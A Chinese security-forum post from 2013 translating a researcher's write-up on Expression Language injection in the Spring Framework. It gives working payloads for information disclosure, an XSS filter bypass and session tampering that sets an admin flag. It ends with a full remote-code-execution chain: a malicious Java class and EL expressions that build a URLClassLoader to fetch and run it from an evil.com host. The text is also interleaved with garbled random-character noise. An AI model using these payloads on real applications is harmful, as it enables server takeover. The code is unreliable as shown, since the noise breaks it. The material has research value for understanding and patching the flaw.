找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2063|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
" T. _! B. h0 W  ~; R4 UExpression Language Injection
/ q# T/ y3 b: j( h! K! G- ^5 V3 G% HSpring Framework脆弱性—DanAmodio
# F! G9 J3 P1 U2 I0 r4 h% M全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
/ p+ I* M% N( J# h/ ~& q: V" Y可能会存在风险。, j8 S3 d) h) P, i9 t$ n- Z0 e
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的; z' d4 q( p; `. ^6 c. d: C
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可" T' g8 G, R, q; s6 M. h
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,6 N9 q1 |# [2 s1 s: I) w; @: h: W
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前5 M% @/ R! l4 s! C
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
1 b2 S% u2 |6 j4 ~$ b由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
" k. `2 k6 y0 E1 q我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版1 s4 o5 [' Y) \6 w$ k6 q
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
/ s: L3 g1 Q( P1 h+ {  U5 m# G5 |这些版本不支持禁用double EL resolution.
  J& v' i8 y0 B' ~6 ~这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
. Q# c5 L& M) A) d/ A" ]EL2.2容器上可能进行远程代码执行。) Z& F, z4 Z; A( c% P- x
这是一个原始信息泄露的攻击例子:
: H( q, M  I* i9 N请求:
- E" H% T: V3 |ttp://vulnerable.com/foo?message=${applicationScope}0 [0 V( a) q! k- A
到达以下内容页面:6 Q8 i; w: ?1 D' }( y$ j
结果将输出一些包含内部服务器信息calsspath 和本地工作目录( ]0 e6 ~  W2 w! Z0 Z0 O, ?
你也可以做一些其他事情,如这样:! ~" m! ?( \& p4 `3 u4 e
${9999+1}; G" O" t: m- M: D3 x4 Q* |
还可以访问session 对象和beans
& E5 ^4 R& q, q# `- A3 G3 ?9 s${employee.lastName}
4 o5 h- m) G9 G% W% l: q# G/ s/ I在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
) d* B. X  [: M) B" v# H$ nEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
" r$ r& K% ]6 J6 l  S  f- _  b" Z* I西,比如XSS.
0 m6 T: L" q: m* g2 I; u) c4 {/ m哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签; r) Z3 J+ h5 i* B$ k1 ?
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤! I% h/ \6 x  S/ v/ Q
呢?”3 I# u6 v+ @" u6 Y. O5 H. U
因此,我尝试巳缦拢�
& k' |* @8 J6 z/ F7 F$ b# Hhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP: B: w& s+ I/ H. Z
P2 [/ O6 d' ~. l- a7 o$ o' N2 Z
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返! n6 M3 w- O, `
回的文本被插入进了spring:message 标签。
3 X0 X+ Q0 A6 R9 G9 r: ~' x, R这里是一个最终绕过过滤的实例:
2 y# n* @4 [5 T: }/ x3 hhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
  M: t( d4 k9 t( }; n它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
7 N5 h# I0 g; [什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?9 g2 u. ^0 R: d$ G4 w2 d* U
经过一番研究,我学习到EL2.2 增加了方法调用。
# j, d5 s) d  |) q0 u* h我写了一个快速测试应用程序代码并且检测一些功能& m) w; I& t# V! r4 d
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
- |, y) [/ b3 s8 _${pageContext.request.getSession().setAttribute(“admin”,true)}
( G6 i  u- j* l( b+ X: t好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
; ]) ?. J2 h/ y" u, H: y: k5 E指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?+ c& |- O$ T* k# A  r
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
$ P! U0 g- P: _- Z% j“, 1234)}
) N$ N% }( q+ o6 F" D2 r1 I+ v0 z${“”.getClass().forName(“java.lang.Runtime”)}1 W% f. ^# P" h) i
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
, W# N4 {( B& H+ l可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
6 f, z7 F# D5 P$ M8 q, d1 s数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有7 i/ _& j4 X: p' Q
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于5 k7 U9 L, r  e
方法签名invoke(Object obj, Object„ args)6 `2 s  _; N3 W$ T; l3 g
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
2 }4 ]! Y9 Z7 }7 q5 w! C题,以让它可以工作起来。
- T- P! ^0 c0 J漏洞利用:
6 f0 x( {7 b6 X& Q2 ~. s0 i3 f' [* O我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
7 h- Y) m7 t/ q  W% T8 e希望你们中的一些JAVA奇才告诉我我是如此的可笑。5 q1 J, z. Z  V' t) q# r/ |
这里有一些我试过的失败的用例,为了试图让它工作的用例:( c! F1 h7 W6 K7 i2 e: b; y& |
 写文件到文件系统2 c" m( h1 v% {1 ~% [
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.6 W' W' ]+ Z& f0 Z3 Z
我认为这些可以很好的工作,但是我不能找到合适的类来载入。& H. Y" O8 M& v% S* k7 ~
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
$ b4 {3 S# J- }/ p- J' C9 Xjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
  X7 t+ D) S/ Y7 g3 xorg.springframework.expression.spel.standard.SpelExpressionParser not found
: s2 o' i+ Q+ b" yby
/ `& }5 w4 G7 J+ sorg.glassfish.web.javax.servlet.jsp [194].0 W+ A: e# j/ U0 L& V1 S
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public, _+ u5 q3 ?, k- u( I
 利用反射来创建一个新的Runtime(and watch the world burn)
+ K8 h% d4 D& S% D( {${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
- I- p& m# N$ c2 O$ E(“java.lang.Runtime”)).getDeclaredConstructors()[0])}- w5 s( g2 |4 Z+ C# l
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
7 w, [  [4 A- O4 U# ~ 使用java.lang.ProcessBuilder( ], c; l' M% M! }2 j
 用表达式语言来评估表达式语言
, p8 F8 x7 G1 ^) ?Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
* E# }, B; s9 T$ a8 x1 N${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request  @% x" H: m/ ~" k
“,”".getClass(),null)}
+ j/ e$ U( `" p6 Y5 M& i% _% ~% O8 } 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
1 y; i2 A, n7 K! B7 y( n* F' v6 {我在使用一个空数组通过Method.invoke()时失败了很多次4 a/ \3 l% z1 [" K$ x/ U2 Q
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
2 a4 O! `& z: c.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
6 T1 \- T; \5 |/ S  Z7 T' n; NrrayList”).newInstance().toArray())
" q4 c1 n# i/ m: k+ Yjava.lang.IllegalArgumentException: wrong number of arguments
' A3 g$ C+ a! Z* K% c: q最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可! D5 O7 V2 Y2 H9 a" n* P8 v' q! P* ~% c
以创建一个恶意class文件并且指向类装载器.
" m, w: M( F  ^我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
$ _& ]7 q3 Z  V6 X6 ppublic class Malicious {/ g2 @1 R$ W0 d& n# Z4 t3 j
public Malicious() {5 x7 v( |* v/ U) j
try {6 ?5 w: h1 C3 [6 J3 N
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
9 i8 W+ C5 I4 {+ i6 j: wjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win* K2 p6 y) j5 ]% K/ u5 S
} catch (Exception e) {" `& q0 A+ u' m; r! H+ V: t* e
}* B0 j. _9 V% C* b. s
}
% \" f- ^3 J1 z' e( z我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回3 k# a2 f8 V+ e! ~5 ?& z  j
话中,因此它可以被使用.
& I# p. G( V; U${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName1 b2 s- b/ [7 m) Q8 x  v8 o- M
(“java.util.ArrayList”).newInstance())}# B- i! s- p# ^! k& o
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建8 p+ F6 L0 c9 ?: K% |5 U5 ?7 _5 D" \
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
: `2 `! a) ]  dgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个1 _. K% g) p# w' _, n* H' H! ?) \2 S. D
我们可以调用的create(string)方法,然后转换对一个URL对象。
2 ~. M* Q+ r# t9 {9 V3 U${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh/ y; }0 B8 d9 H, U: z
ere/malicious/classfile/is/located/”).toURL())}
$ I3 m! B1 j2 [" V( C1 E) e) P然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,, n8 U1 T: s% z- k, T3 d
恶意类文件被装载并创建,触发远程代码.
6 y" m( K4 z% [5 ^; l3 n: ~/ q${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
1 s$ j! f6 k# t, |xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
! e. ?* X* h# }! a/ ~getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
: w1 v( m# Q2 R. X) F3 D) V3 y+ H()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表